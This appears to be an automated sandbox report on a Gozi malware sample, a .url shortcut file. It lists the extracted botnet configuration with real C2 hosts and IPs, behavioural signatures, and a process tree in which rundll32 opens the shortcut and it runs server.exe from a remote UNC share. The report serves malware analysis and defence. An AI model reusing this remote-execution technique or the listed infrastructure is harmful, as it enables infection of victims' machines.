Analysis
- max time kernel
143s - max time network
128s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system - submitted
15/03/2023, 14:26
Static task
static1
Behavioral task
behavioral1
Sample
Direzione/Direzione.txt.url
Resource
win7-20230220-en
1 signatures
150 seconds
General
- Target Direzione/Direzione.txt.url
- Size 195B
- Sample230315-rrthxsde89
- SHA256 85c3946865956212fd235e18a29e49d47315e3ca913e4a5e2644ed48566cae0e
- MD5 acf5bb8c4882da9b075cb1f0b2515e06
- SHA1 557cfbf1559ab0a73d3e77b1c4c0d203e5e29c16
- SHA512 e7297ec1482bff0690354aee8744e6d73fc4db387d7ec31541cd264218c0db1f92f66f75b1095689663a21ee221c32fc23683af58f13a194d7dc9f9b674a8af4
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
gozi
Botnet
-
7714
C2
-
checklist.skype.com
-
5.44.43.17
-
31.41.44.108
-
62.173.138.213
-
109.248.11.174
Attributes
-
base_path
/drew/
-
build
250255
-
exe_type
loader
-
extension
.jlk
-
server_id
50
rsa_pubkey.plain
aes.plain
Extracted
Family
-
gozi
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4332 wrote to memory of 3588 4332 rundll32.exe 84 PID 4332 wrote to memory of 3588 4332 rundll32.exe 84 PID 4332 wrote to memory of 3588 4332 rundll32.exe 84
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Direzione\Direzione.txt.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4332 -
\??\UNC\109.248.11.166\Agenzia\server.exe"\\109.248.11.166\Agenzia\server.exe"2⤵PID:3588
-